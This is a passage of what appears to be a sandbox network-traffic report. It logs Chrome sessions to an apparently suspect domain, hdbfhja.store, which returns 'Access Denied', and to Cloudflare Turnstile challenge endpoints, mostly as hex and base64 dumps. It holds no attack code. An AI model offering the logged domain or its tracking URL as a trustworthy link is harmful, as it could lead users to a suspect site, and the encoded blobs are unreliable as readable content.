45 34 7a 49 49 4c 2b 30 69 4a 67 4c 33 4b 78 49 62 39 7a 45 36 41 53 45 Data Ascii: b1txg3CAZX1IbGpHan6OaYdKT26YZWNqi1OUcnmLanqVoZBdkoR2qWqFqWyHnYiHiqanbm2Iq5arm7V6vZuUmaKclMeCh7KGx6emiaSfoY3Qp66NrLfI2tevvJS5wcqy4d7V4r3dodfZucqnqL/Ozt/D0tLt+fjryrTwuAD59N/f4rzw6Abx3NP34AzY+/sM6AHvAOwF8ATwCfX1EQ7d8OvW4+TiAwUp6frsIBkE4zIIL+0iJgL3KxIb9zE6ASE
2024-05-07 18:31:24 UTC	1369	IN	Data Raw: 55 52 44 56 34 46 48 65 33 68 67 61 58 39 71 62 31 4a 68 6a 32 57 4d 5a 6e 6c 57 62 5a 68 39 58 5a 5a 7a 56 6c 64 6b 59 5a 56 30 70 4a 56 2b 6e 61 65 58 70 4c 43 70 63 6f 4e 2f 74 6e 64 79 6b 6e 4b 31 69 35 4f 39 6a 58 36 38 69 34 4b 45 6c 37 43 63 74 63 6d 62 6d 4a 7a 41 69 38 75 36 75 63 43 51 78 36 57 31 69 59 72 57 73 70 75 7a 31 36 65 6e 71 37 7a 68 76 4e 79 79 78 74 72 46 31 71 44 6a 72 4c 6a 75 36 2b 71 2b 71 63 6e 48 77 38 44 32 75 4f 61 79 2b 75 62 62 79 2b 37 71 33 63 37 79 30 4f 58 56 34 4e 7a 6a 32 65 58 68 37 74 34 50 2b 76 48 65 41 38 76 31 34 76 48 30 38 2b 6e 30 42 2f 33 6e 49 52 34 55 46 53 44 38 47 78 6b 66 39 50 37 33 46 4f 6b 76 4c 77 55 72 4b 43 49 4e 48 78 41 6e 4d 50 51 6a 4d 78 45 51 2f 42 68 42 50 6a 4d 34 4d 42 77 79 52 44 49 6e Data Ascii: URDV4FHe3hgaX9qb1Jhj2WMZnlWbZh9XZZzVldkYZV0pJV+naeXpLCpcoN/tndyknK1i5O9jX68i4KEl7CctcmbmJzAi8u6ucCQx6W1iYrWspuz16enq7zhvNyyxtrF1qDjrLju6+q+qcnHw8D2uOay+ubby+7q3c7y0OXV4Nzj2eXh7t4P+vHeA8v14vH08+n0B/3nIR4UFSD8Gxkf9P73FOkvLwUrKCINHxAnMPQjMxEQ/BhBPjM4MBwyRDIn
2024-05-07 18:31:24 UTC	1369	IN	Data Raw: 42 77 55 4a 4e 74 66 6d 64 74 6a 6d 78 71 6c 49 32 55 58 6e 36 61 61 6e 2b 4f 63 5a 52 65 68 48 70 39 61 59 75 72 62 59 2b 61 62 36 6c 75 6b 4a 47 43 73 59 52 30 62 35 4f 32 6c 48 65 71 65 72 2b 67 6b 5a 6e 46 70 4c 69 37 79 61 69 37 66 5a 65 4c 6c 34 69 6f 69 38 61 53 6c 4d 6e 49 71 4b 62 4a 7a 4a 61 5a 7a 37 69 64 76 35 72 51 73 75 44 5a 6f 73 50 6b 31 74 58 63 72 4b 58 69 77 4e 75 76 72 63 53 7a 30 71 33 79 74 75 69 7a 7a 76 62 6f 79 74 66 74 30 38 2b 2b 33 51 4c 45 39 41 62 66 34 41 41 4c 78 4d 63 42 44 67 41 49 45 2f 30 48 30 67 50 72 43 39 51 56 46 2f 58 71 39 77 37 68 48 67 54 39 49 75 37 2b 4a 68 66 2b 35 43 76 6b 35 79 45 75 49 68 2f 39 4b 75 30 6b 4a 67 59 58 38 2f 51 4d 47 78 73 73 45 42 38 66 4f 6b 5a 46 4f 42 63 42 50 51 56 4d 52 6b 45 73 4c Data Ascii: BwUJNtfmdtjmxqlI2UXn6aan+OcZRehHp9aYurbY+ab6lukJGCsYR0b5O2lHeqer+gkZnFpLi7yai7fZeLl4ioi8aSlMnIqKbJzJaZz7idv5rQsuDZosPk1tXcrKXiwNuvrcSz0q3ytuizzvboytft08++3QLE9Abf4AALxMcBDgAIE/0H0gPrC9QVF/Xq9w7hHgT9Iu7+Jhf+5Cvk5yEuIh/9Ku0kJgYX8/QMGxssEB8fOkZFOBcBPQVMRkEsL
2024-05-07 18:31:24 UTC	1369	IN	Data Raw: 33 59 56 65 52 62 34 74 31 64 46 46 75 6c 57 78 67 64 56 35 2b 64 70 43 49 6e 61 4b 62 70 47 36 4f 61 61 75 63 6a 59 4e 31 6c 36 46 30 6b 71 32 55 75 4b 78 32 6e 49 2b 77 65 71 43 58 74 48 36 6a 65 6f 61 62 72 4b 6d 61 79 61 50 4f 79 6f 71 6b 78 63 71 78 69 63 65 34 6a 4e 75 78 74 36 37 65 31 4a 6d 35 7a 62 48 43 6f 4e 75 33 78 73 69 64 75 38 72 4b 32 37 2f 4f 7a 75 6e 31 39 4f 66 47 73 4f 79 30 2b 2f 58 77 32 39 76 65 75 41 54 4e 41 74 37 35 42 50 50 67 78 39 6a 35 79 39 37 48 44 77 50 67 2f 50 44 56 46 66 54 33 42 76 6f 48 2b 51 66 5a 43 2f 33 36 33 51 38 43 41 42 6a 2b 39 76 30 59 43 67 77 62 41 53 77 4f 44 77 77 64 44 67 45 31 4a 79 67 4c 4a 69 6e 31 42 78 77 72 2f 44 48 36 49 55 49 31 2f 69 55 59 4f 51 4d 70 48 79 49 4f 4d 46 41 53 4e 44 38 55 54 68 Data Ascii: 3YVeRb4t1dFFulWxgdV5+dpCInaKbpG6OaaucjYN1l6F0kq2UuKx2nI+weqCXtH6jeoabrKmayaPOyoqkxcqxice4jNuxt67e1Jm5zbHCoNu3xsidu8rK27/Ozun19OfGsOy0+/Xw29veuATNAt75BPPgx9j5y97HDwPg/PDVFfT3BvoH+QfZC/363Q8CABj+9v0YCgwbASwODwwdDgE1JygLJin1Bxwr/DH6IUI1/iUYOQMpHyIOMFASND8UTh
2024-05-07 18:31:24 UTC	844	IN	Data Raw: 66 4a 39 30 64 48 4b 63 6c 5a 78 6d 68 6d 4e 79 68 35 61 6e 6e 47 61 4d 66 36 42 71 6b 49 61 4a 64 5a 65 33 65 5a 75 6d 65 37 56 36 6e 4a 32 4f 76 5a 56 36 6f 4c 69 39 6b 4c 36 79 68 38 79 73 69 4a 6e 52 73 4d 54 48 31 62 54 48 6b 4e 6d 34 7a 4b 6e 64 76 4e 47 39 34 63 44 56 33 36 2b 79 73 72 2f 69 76 62 54 44 31 71 66 67 33 65 62 70 32 71 37 78 34 74 50 66 78 74 48 78 33 50 4f 37 41 50 54 75 76 37 33 55 77 2b 4b 39 41 38 62 30 77 51 77 47 32 50 62 77 42 42 50 51 41 77 7a 72 34 2b 34 49 36 2f 55 58 2f 51 62 5a 49 52 6e 2b 37 39 55 63 47 51 4d 66 39 50 37 35 49 68 37 34 41 79 6a 70 34 2b 6f 64 49 43 77 56 39 52 6b 47 4c 44 45 6f 47 42 33 34 49 52 38 58 4e 44 59 6d 41 68 5a 45 47 41 50 39 47 44 30 49 51 79 52 4d 54 68 35 53 48 6c 55 6b 49 79 34 58 4e 45 6b Data Ascii: fJ90dHKclZxmhmNyh5annGaMf6BqkIaJdZe3eZume7V6nJ2OvZV6oLi9kL6yh8ysiJnRsMTH1bTHkNm4zKndvNG94cDV36+ysr/ivbTD1qfg3ebp2q7x4tPfxtHx3PO7APTuv73Uw+K9A8b0wQwG2PbwBBPQAwzr4+4I6/UX/QbZIRn+79UcGQMf9P75Ih74Ayjp4+odICwV9RkGLDEoGB34IR8XNDYmAhZEGAP9GD0IQyRMTh5SHlUkIy4XNEk
2024-05-07 18:31:24 UTC	1369	IN	Data Raw: 37 39 34 0d 0a 58 77 31 78 4c 6b 2b 78 2f 30 36 66 66 66 43 2b 73 54 42 66 6a 79 46 68 6b 6e 42 52 38 4f 35 69 49 62 4d 41 33 39 2f 42 38 69 38 67 66 77 42 44 55 7a 4f 66 34 55 4f 43 4d 5a 47 54 6b 59 48 55 56 41 4b 77 51 6d 53 43 41 64 4c 6b 56 4b 4d 53 6b 48 56 53 4d 78 4a 43 67 6f 56 55 77 75 4c 79 6c 63 48 46 46 4e 50 54 45 2f 5a 47 4a 55 4e 44 52 63 49 45 6c 73 4d 57 4e 6f 59 48 59 30 4e 58 56 6c 4e 7a 46 49 64 44 31 4f 54 6e 4d 2f 62 33 78 39 66 32 5a 57 68 30 68 5a 6a 47 65 4f 59 48 31 50 58 57 75 44 59 6d 39 6a 68 32 57 5a 62 4a 42 74 5a 34 6c 38 67 70 46 7a 6b 48 57 45 68 32 46 32 63 32 4b 45 66 6f 64 2f 6e 35 4b 6b 6a 36 57 46 74 6f 4f 54 68 58 4f 62 76 49 71 39 75 61 2b 50 6b 4b 4f 31 6c 4c 61 6a 73 4a 65 36 6c 36 79 63 7a 70 79 77 6d 74 4f 6d Data Ascii: 794 Xw1xLk+x/06fffC+sTBfjyFhknBR8O5iIbMA39/B8i8gfwBDUzOf4UOCMZGTkYHUVAKwQmSCAdLkVKMSkHVSMxJCgoVUwuLylcHFFNPTE/ZGJUNDRcIElsMWNoYHY0NXVlNzFIdD1OTnM/b3x9f2ZWh0hZjGeOYH1PXWuDYm9jh2WZbJBtZ4l8gpFzkHWEh2F2c2KEfod/n5Kkj6WFtoOThXObvIq9ua+PkKO1lLajsJe6l6yczpywmtOm

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49778	5.230.47.86	443	2484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 18:31:24 UTC	850	OUT	GET /favicon.ico HTTP/1.1 Host: hdbfhja.store Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://hdbfhja.store/?xeuxuwcg=ec88ccf3521205507dea895bdd8c3dd57082bcf2b8e2d8cb549d067aa15240ca465f646207db5f3c3b1aaa7db51b6765211ca48965e9c1476f5fe534a8b2d46e&qrcmsdynmkt_trackingcontext=0c22f116-19a8-4f13-8c53-7a400f51b865 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=lAILIerd6VqP; qPdM.sig=O46um2QxnGuXzggkOskPiGcNVHQ
2024-05-07 18:31:24 UTC	122	IN	HTTP/1.1 500 Internal Server Error Date: Tue, 07 May 2024 18:31:24 GMT Connection: close Transfer-Encoding: chunked
2024-05-07 18:31:24 UTC	33	IN	Data Raw: 31 36 0d 0a 3c 68 31 3e 41 63 63 65 73 73 20 44 65 6e 69 65 64 3c 2f 68 31 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 16 <h1>Access Denied</h1> 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49781	104.17.3.184	443	2484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 18:31:24 UTC	804	OUT	GET /cdn-cgi/challenge-platform/h/b/pat/8803495f9bd55e68/1715106684072/4c4248d5deb5b918dc16c1422e92278fae79f8e98f3c6127774c242cd8762d3b/LbTYmcAp2-H4CPj HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/0i6ex/0x4AAAAAAAZkgmLQjbC4655I/auto/normal Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-07 18:31:25 UTC	143	IN	HTTP/1.1 401 Unauthorized Date: Tue, 07 May 2024 18:31:25 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 1 Connection: close
2024-05-07 18:31:25 UTC	1382	IN	Data Raw: 77 77 77 2d 61 75 74 68 65 6e 74 69 63 61 74 65 3a 20 50 72 69 76 61 74 65 54 6f 6b 65 6e 20 63 68 61 6c 6c 65 6e 67 65 3d 22 41 41 49 41 47 58 42 68 64 43 31 70 63 33 4e 31 5a 58 49 75 59 32 78 76 64 57 52 6d 62 47 46 79 5a 53 35 6a 62 32 30 67 54 45 4a 49 31 64 36 31 75 52 6a 63 46 73 46 43 4c 70 49 6e 6a 36 35 35 2d 4f 6d 50 50 47 45 6e 64 30 77 6b 4c 4e 68 32 4c 54 73 41 47 57 4e 6f 59 57 78 73 5a 57 35 6e 5a 58 4d 75 59 32 78 76 64 57 52 6d 62 47 46 79 5a 53 35 6a 62 32 30 3d 22 2c 20 74 6f 6b 65 6e 2d 6b 65 79 3d 22 4d 49 49 42 55 6a 41 39 42 67 6b 71 68 6b 69 47 39 77 30 42 41 51 6f 77 4d 4b 41 4e 4d 41 73 47 43 57 43 47 53 41 46 6c 41 77 51 43 41 71 45 61 4d 42 67 47 43 53 71 47 53 49 62 33 44 51 45 42 43 44 41 4c 42 67 6c 67 68 6b 67 42 5a 51 4d Data Ascii: www-authenticate: PrivateToken challenge="AAIAGXBhdC1pc3N1ZXIuY2xvdWRmbGFyZS5jb20gTEJI1d61uRjcFsFCLpInj655-OmPPGEnd0wkLNh2LTsAGWNoYWxsZW5nZXMuY2xvdWRmbGFyZS5jb20=", token-key="MIIBUjA9BgkqhkiG9w0BAQowMKANMAsGCWCGSAFlAwQCAqEaMBgGCSqGSIb3DQEBCDALBglghkgBZQM
2024-05-07 18:31:25 UTC	1	IN	Data Raw: 4a Data Ascii: J

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49782	104.17.2.184	443	2484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 18:31:25 UTC	487	OUT	GET /cdn-cgi/challenge-platform/h/b/flow/ov1/1296908238:1715102970:WHlKkTMI5qTfs3kqdoIXXuyp1058w2BbgNo-m-7l2OI/8803495f9bd55e68/1937d72d0ae2e27 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-07 18:31:25 UTC	377	IN	HTTP/1.1 400 Bad Request Date: Tue, 07 May 2024 18:31:25 GMT Content-Type: application/json Content-Length: 7 Connection: close cf-chl-out: tNYvqnqPxkDZj/oIXR98cw==$X//4ckhmuaEBDU1FPArKkg== cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 8803496e68a58c6b-EWR alt-svc: h3=":443"; ma=86400
2024-05-07 18:31:25 UTC	7	IN	Data Raw: 69 6e 76 61 6c 69 64 Data Ascii: invalid

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49783	104.17.3.184	443	2484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 18:31:25 UTC	775	OUT	GET /cdn-cgi/challenge-platform/h/b/i/8803495f9bd55e68/1715106684074/MWyLVv4AMsqffjI HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/0i6ex/0x4AAAAAAAZkgmLQjbC4655I/auto/normal Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-07 18:31:25 UTC	200	IN	HTTP/1.1 200 OK Date: Tue, 07 May 2024 18:31:25 GMT Content-Type: image/png Content-Length: 61 Connection: close Server: cloudflare CF-RAY: 88034972480742c8-EWR alt-svc: h3=":443"; ma=86400
2024-05-07 18:31:25 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 37 00 00 00 5a 08 02 00 00 00 93 d3 59 95 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNG IHDR7ZYIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49784	104.17.2.184	443	2484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 18:31:26 UTC	428	OUT	GET /cdn-cgi/challenge-platform/h/b/i/8803495f9bd55e68/1715106684074/MWyLVv4AMsqffjI HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-07 18:31:26 UTC	200	IN	HTTP/1.1 200 OK Date: Tue, 07 May 2024 18:31:26 GMT Content-Type: image/png Content-Length: 61 Connection: close Server: cloudflare CF-RAY: 88034974df1a42d0-EWR alt-svc: h3=":443"; ma=86400
2024-05-07 18:31:26 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 37 00 00 00 5a 08 02 00 00 00 93 d3 59 95 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNG IHDR7ZYIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49785	104.17.3.184	443	2484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 18:31:26 UTC	917	OUT	POST /cdn-cgi/challenge-platform/h/b/flow/ov1/1296908238:1715102970:WHlKkTMI5qTfs3kqdoIXXuyp1058w2BbgNo-m-7l2OI/8803495f9bd55e68/1937d72d0ae2e27 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 31258 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: 1937d72d0ae2e27 sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/0i6ex/0x4AAAAAAAZkgmLQjbC4655I/auto/normal Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-07 18:31:26 UTC	16384	OUT	Data Raw: 76 5f 38 38 30 33 34 39 35 66 39 62 64 35 35 65 36 38 3d 6d 79 35 4f 75 58 6c 69 74 6c 79 35 74 58 39 4e 46 6c 53 78 75 4f 71 32 32 78 46 4f 41 59 4e 69 78 4d 78 45 32 35 34 76 41 6c 54 78 43 59 36 55 6c 65 41 78 43 57 78 4e 41 63 6c 75 78 36 61 76 57 78 58 65 78 55 59 4e 30 42 41 78 41 50 39 77 78 41 64 36 50 79 4f 6a 79 6c 72 78 36 35 78 6e 78 34 35 6c 4d 6a 78 6c 49 78 4e 41 45 49 78 42 78 78 74 32 78 50 32 46 4f 71 47 30 6a 4f 58 4c 78 42 4f 63 32 4f 54 76 78 6d 74 4f 63 61 4f 34 53 6a 72 32 53 32 41 48 33 73 61 4f 6c 30 78 30 5a 46 59 63 34 57 55 61 78 46 61 57 42 6a 64 50 33 32 35 5a 2d 70 78 25 32 62 49 4c 6d 78 78 63 79 4f 78 30 78 35 53 6a 61 74 7a 76 78 43 49 52 35 76 6a 71 6e 6d 66 77 6c 61 58 63 5a 70 45 58 53 53 7a 52 75 45 76 77 61 4f 34 36 Data Ascii: v_8803495f9bd55e68=my5OuXlitly5tX9NFlSxuOq22xFOAYNixMxE254vAlTxCY6UleAxCWxNAclux6avWxXexUYN0BAxAP9wxAd6PyOjylrx65xnx45lMjxlIxNAEIxBxxt2xP2FOqG0jOXLxBOc2OTvxmtOcaO4Sjr2S2AH3saOl0x0ZFYc4WUaxFaWBjdP325Z-px%2bILmxxcyOx0x5SjatzvxCIR5vjqnmfwlaXcZpEXSSzRuEvwaO46
2024-05-07 18:31:26 UTC	14874	OUT	Data Raw: 41 61 4f 49 37 67 44 79 6b 4e 68 78 61 78 39 78 71 78 30 4f 6c 75 78 36 72 38 78 58 78 41 61 6c 41 73 69 32 36 33 6c 55 78 73 59 41 59 6c 6a 6a 7a 78 42 59 4e 49 78 59 4f 51 6b 6c 46 78 50 4f 64 68 78 4f 78 46 4f 43 74 6c 63 78 57 79 35 49 6c 35 61 5a 4f 6c 49 4e 47 78 6b 4f 2b 49 6c 30 78 6e 4f 6d 4f 78 71 79 54 4c 2b 2d 58 43 78 41 78 30 37 79 24 4f 50 78 35 4f 58 74 78 31 78 6d 4f 6c 59 78 73 43 78 4f 78 76 78 46 78 4e 51 58 24 79 53 78 30 78 36 54 4c 2b 78 34 59 58 58 78 30 32 2b 78 36 2d 78 58 4f 6a 59 78 62 78 43 4f 4e 74 6c 61 78 77 74 64 4f 36 47 78 76 79 34 49 58 79 78 65 78 71 79 58 69 6c 49 4f 30 37 79 6a 61 36 78 4a 37 33 55 6c 37 78 34 78 4e 51 59 4d 4f 58 61 78 41 78 6c 35 6c 4f 78 59 78 71 51 41 46 78 61 6c 33 78 36 78 41 69 6c 50 78 63 41 Data Ascii: AaOI7gDykNhxax9xqx0Olux6r8xXxAalAsi263lUxsYAYljjzxBYNIxYOQklFxPOdhxOxFOCtlcxWy5Il5aZOlINGxkO+Il0xnOmOxqyTL+-XCxAx07y$OPx5OXtx1xmOlYxsCxOxvxFxNQX$ySx0x6TL+x4YXXx02+x6-xXOjYxbxCONtlaxwtdO6Gxvy4IXyxexqyXilIO07yja6xJ73Ul7x4xNQYMOXaxAxl5lOxYxqQAFxal3x6xAilPxcA
2024-05-07 18:31:26 UTC	350	IN	HTTP/1.1 200 OK Date: Tue, 07 May 2024 18:31:26 GMT Content-Type: text/plain; charset=UTF-8 Transfer-Encoding: chunked Connection: close cf-chl-gen: g1OCbJRf0Hifx14WN2Na1B8QiZe3N5Y7IUczqZLLUQnT44e6rP2GsEsZPjsAtSuI$QvAndxOi1KYWiZGf9PQ7Jw== vary: accept-encoding Server: cloudflare CF-RAY: 880349771b9c7295-EWR alt-svc: h3=":443"; ma=86400
2024-05-07 18:31:26 UTC	1019	IN	Data Raw: 34 66 66 0d 0a 6b 49 36 7a 77 38 42 2f 6d 72 32 77 6c 36 72 44 75 59 65 36 70 4d 44 50 77 6f 79 4b 6c 4b 43 51 6a 70 65 58 72 4a 75 62 79 74 4b 61 30 4e 33 4c 6e 5a 7a 4e 30 75 4c 66 76 36 61 69 79 2b 72 50 35 4f 2f 61 35 61 72 76 35 38 4c 70 36 66 62 5a 38 50 76 52 79 62 6e 56 33 4e 72 4c 77 4f 48 45 77 4e 6e 49 32 63 4b 2b 33 4f 6a 4f 44 4d 76 7a 7a 67 41 44 37 38 34 4b 46 77 34 52 48 41 66 56 31 64 49 6a 2f 68 59 6d 49 78 73 64 4b 41 6b 62 35 78 67 42 49 67 62 69 44 43 41 43 49 51 30 6a 38 43 63 5a 47 66 55 71 45 53 72 34 4c 52 45 69 2b 6a 41 57 45 41 45 66 49 53 6f 44 4f 44 38 70 43 7a 77 74 51 67 39 47 55 30 5a 4e 56 31 4d 32 45 31 67 35 53 68 6b 32 47 45 34 66 4f 53 42 44 49 45 6c 53 4f 43 49 2b 4b 47 52 4d 61 32 74 72 51 6a 4a 6e 53 69 34 33 64 32 Data Ascii: 4ff kI6zw8B/mr2wl6rDuYe6pMDPwoyKlKCQjpeXrJubytKa0N3LnZzN0uLfv6aiy+rP5O/a5arv58Lp6fbZ8PvRybnV3NrLwOHEwNnI2cK+3OjODMvzzgAD784KFw4RHAfV1dIj/hYmIxsdKAkb5xgBIgbiDCACIQ0j8CcZGfUqESr4LREi+jAWEAEfISoDOD8pCzwtQg9GU0ZNV1M2E1g5Shk2GE4fOSBDIElSOCI+KGRMa2trQjJnSi43d2
2024-05-07 18:31:26 UTC	267	IN	Data Raw: 52 79 74 61 36 71 6b 58 2b 41 77 72 31 2b 6d 4b 61 79 78 58 2b 33 6f 63 57 66 77 73 57 6c 76 37 44 47 69 70 54 50 32 4e 54 61 6f 73 6d 33 31 70 61 52 33 71 79 68 6c 61 4b 64 6f 2b 4c 56 34 37 4b 6c 31 73 65 37 34 61 72 4c 35 37 75 72 79 4f 6e 33 7a 4b 2f 6d 72 66 58 50 38 76 50 7a 37 2b 44 67 75 73 45 41 43 66 41 4c 79 63 48 57 42 63 33 42 7a 73 6e 50 45 41 34 56 30 2b 33 4f 47 52 50 7a 39 4f 62 62 39 52 49 64 33 2f 6e 6b 33 2f 49 58 47 50 6e 69 2f 65 6a 32 35 78 37 6e 42 53 6f 78 4d 50 41 30 4b 51 63 6f 46 76 73 2b 2b 2f 63 31 4d 51 7a 35 49 50 77 5a 45 42 45 31 47 67 52 4e 4e 52 6f 63 54 30 77 70 44 79 41 31 4c 69 4d 68 4b 52 41 30 4b 6a 42 58 55 44 55 30 4e 55 73 2b 4e 57 5a 54 4a 32 56 58 4f 47 68 4d 54 43 64 72 61 6b 64 79 64 58 4a 49 61 43 70 56 62 Data Ascii: Ryta6qkX+Awr1+mKayxX+3ocWfwsWlv7DGipTP2NTaosm31paR3qyhlaKdo+LV47Kl1se74arL57uryOn3zK/mrfXP8vPz7+DgusEACfALycHWBc3BzsnPEA4V0+3OGRPz9Obb9RId3/nk3/IXGPni/ej25x7nBSoxMPA0KQcoFvs++/c1MQz5IPwZEBE1GgRNNRocT0wpDyA1LiMhKRA0KjBXUDU0NUs+NWZTJ2VXOGhMTCdrakdydXJIaCpVb
2024-05-07 18:31:26 UTC	1369	IN	Data Raw: 66 64 36 0d 0a 66 50 57 4a 55 59 32 61 45 57 47 64 70 50 6c 78 72 61 33 78 67 62 32 2b 4b 6c 70 57 49 5a 31 47 4e 56 5a 79 57 6b 58 78 38 66 31 6c 34 64 35 4a 59 63 6e 57 54 6b 32 6d 42 6d 5a 69 59 68 5a 32 4d 6e 49 6d 68 6a 61 43 4e 70 5a 4b 6b 6b 61 6d 62 71 4a 57 74 6f 4b 79 5a 73 61 47 77 6e 62 57 6d 74 4b 47 35 6f 4c 69 6c 76 61 47 71 78 63 4b 53 70 4e 61 4c 6d 4a 6d 58 74 37 6e 64 6e 71 2b 68 31 4d 32 34 6d 4d 48 6d 33 4e 65 6a 78 2b 76 76 78 50 48 69 36 76 4c 53 36 64 2f 70 30 50 6a 37 36 50 32 76 41 4f 72 51 7a 38 2f 74 76 76 44 42 38 74 41 48 79 67 66 67 2b 76 59 42 45 65 67 46 79 67 44 30 43 42 66 58 43 4e 66 5a 38 76 41 4a 46 52 30 5a 34 68 48 75 47 78 67 44 35 76 77 6f 47 67 72 71 37 69 33 35 35 78 49 6c 38 69 73 30 4a 78 6b 36 4c 43 76 33 4c Data Ascii: fd6 fPWJUY2aEWGdpPlxra3xgb2+KlpWIZ1GNVZyWkXx8f1l4d5JYcnWTk2mBmZiYhZ2MnImhjaCNpZKkkambqJWtoKyZsaGwnbWmtKG5oLilvaGqxcKSpNaLmJmXt7ndnq+h1M24mMHm3Nejx+vvxPHi6vLS6d/p0Pj76P2vAOrQz8/tvvDB8tAHygfg+vYBEegFygD0CBfXCNfZ8vAJFR0Z4hHuGxgD5vwoGgrq7i355xIl8is0Jxk6LCv3L
